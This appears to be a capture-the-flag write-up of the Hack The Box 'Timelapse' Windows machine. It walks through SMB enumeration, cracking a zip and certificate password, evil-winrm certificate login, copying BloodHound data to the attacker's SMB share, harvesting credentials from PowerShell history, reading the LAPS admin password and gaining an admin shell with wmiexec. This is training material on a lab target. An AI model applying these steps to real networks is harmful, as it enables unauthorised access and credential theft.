I will mount the share locally for easily navigation. Press Enter if prompted
I will explore each file one by one, Let's start with the .zip file
The other files talk about LAPS as a security solutions and how to install it, So we can guess that LAPS is installed on that machine
I tried to unzip it but it was password protected
Then, I will attempt to extract the hash from it and try to crack
Extracting the archive content with 7z
I searched online for more info about that file and got this.
So, I can extract files like private keys or certificates. We can do this with openssl tool. I also searched for the exact command to what we need and ChatGPT was very useful.
Here are examples of what we can use
When I tried to open the file, it failed cause it was password-protected
So, I will do the same thing as the .zip file
I'm ready now to get the content of legacyy_dev_auth.pfx
Showing the extracted files
Shell as Legacyy
Now, I have private key and certificate, but I don't have any valid credentials, So I must continue the enumeration.
I move the .pfx file to my windows machine and open it to get more information. when I click on the file it opened this wizard
I completed the steps, provided the password and the certificate was stored on my machine. Then, I opened User certification manager
Under Certificates - Current User => Personal => Certificates I could see it
So, We now know that Legacyy User issued this certificate.
I opened the help menu of evil-winrm to see available options
-S to enable SSL
-k to provide private key
-c for certificate
-p for port number
I don't know the password but I think it's not required since we have the private key and the certificate, also we must provide alternative port number other than the default because we saw that Nmap output showed 5985 port number is closed but 5986 is opened which is used for winRM over SSl
User Flag: de885f236945cfd319e4dxxxxxxxxxxxx
Bloodhound
We're on active directory environment, So I will call bloodhound to join us.
I started smb server on my kail machine and authenticate the windows box to my server
On my kali machine I will start bloodhound and upload the zip file
Under C:\Users there are several users. I will enumerate them in bloodhound
Shell as SVC_Deploy
SVC_DEPLOY user is a member of LAPS_READERS which has the ability to read LAPS password, which is the password of the local administrator, So if we get this account, we will be able to take control of admin account
When I list the content of C:\Program Files, I can see that LAPS is installed as I guessed
I searched for password for user svc_deploy everywhere and I found it in powershell history file of user legacyy
I used the credential found to obtain a shell
Shell as Administrator
Now, I can read the password of local admin. I will use LAPSToolkit.ps1
Access the machine with wmisexec.py
The flag wasn't in administrator home directory but was in TRX user home
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Timelapse]
└─$ rpcclient -U "%" $ip
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Timelapse]
└─$ smbclient -N -L //$ip
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shares Disk
SYSVOL Disk Logon server share
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Timelapse]
└─$ smbclient -N \\\\$ip\\shares
smb: \> ls
. D 0 Mon Oct 25 11:39:15 2021
.. D 0 Mon Oct 25 11:39:15 2021
Dev D 0 Mon Oct 25 15:40:06 2021
HelpDesk D 0 Mon Oct 25 11:48:42 2021
6367231 blocks of size 4096. 1252508 blocks available
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Timelapse]
└─$ sudo mount -t cifs "\\\\$ip\\shares" ./mount
Password for root@\\10.10.11.152\shares:
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Timelapse]
└─$ tree mount
mount
├── Dev
│ └── winrm_backup.zip
└── HelpDesk
├── LAPS.x64.msi
├── LAPS_Datasheet.docx
├── LAPS_OperationsGuide.docx
└── LAPS_TechnicalSpecification.docx
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Timelapse]
└─$ 7z x winrm_backup.zip
<snip>
Enter password (will not be echoed):
Everything is Ok
Size: 2555
Compressed: 2611
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Timelapse]
└─$ ls
Nmap legacyy_dev_auth.pfx mount winrm_backup.zip zip.hash
*Evil-WinRM* PS C:\Users\legacyy\Documents> net use n: \\10.10.16.3\share /user:blind0bandit blind0bandit
The command completed successfully.
*Evil-WinRM* PS C:\Users\legacyy\Documents> move 20240708170204_timelapse.zip n:
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Timelapse]
└─$ sudo neo4j start
[sudo] password for kali:
Directories in use:
home: /usr/share/neo4j
config: /usr/share/neo4j/conf
logs: /etc/neo4j/logs
plugins: /usr/share/neo4j/plugins
import: /usr/share/neo4j/import
data: /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses: /usr/share/neo4j/licenses
run: /var/lib/neo4j/run
Starting Neo4j.
Started neo4j (pid:60457). It is available at http://localhost:7474
There may be a short delay until the server is ready.
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Timelapse]
└─$ bloodhound
*Evil-WinRM* PS C:\Users> dir
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/23/2021 11:27 AM Administrator
d----- 10/25/2021 8:22 AM legacyy
d-r--- 10/23/2021 11:27 AM Public
d----- 10/25/2021 12:23 PM svc_deploy
d----- 2/23/2022 5:45 PM TRX
*Evil-WinRM* PS C:\> dir "Program Files"
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/23/2021 11:28 AM Common Files
d----- 3/3/2022 10:01 PM internet explorer
d----- 10/25/2021 9:01 AM LAPS
d----- 3/3/2022 10:10 PM VMware
d-r--- 3/3/2022 10:01 PM Windows Defender
d----- 3/21/2022 8:45 PM Windows Defender Advanced Threat Protection
d----- 3/3/2022 10:01 PM Windows Mail
d----- 3/3/2022 10:01 PM Windows Media Player
d----- 9/15/2018 12:19 AM Windows Multimedia Platform
d----- 9/15/2018 12:28 AM windows nt
d----- 3/3/2022 10:01 PM Windows Photo Viewer
d----- 9/15/2018 12:19 AM Windows Portable Devices
d----- 9/15/2018 12:19 AM Windows Security
d----- 9/15/2018 12:19 AM WindowsPowerShell
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Timelapse]
└─$ impacket-wmiexec timelapse.htb/administrator@$ip
Password:
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>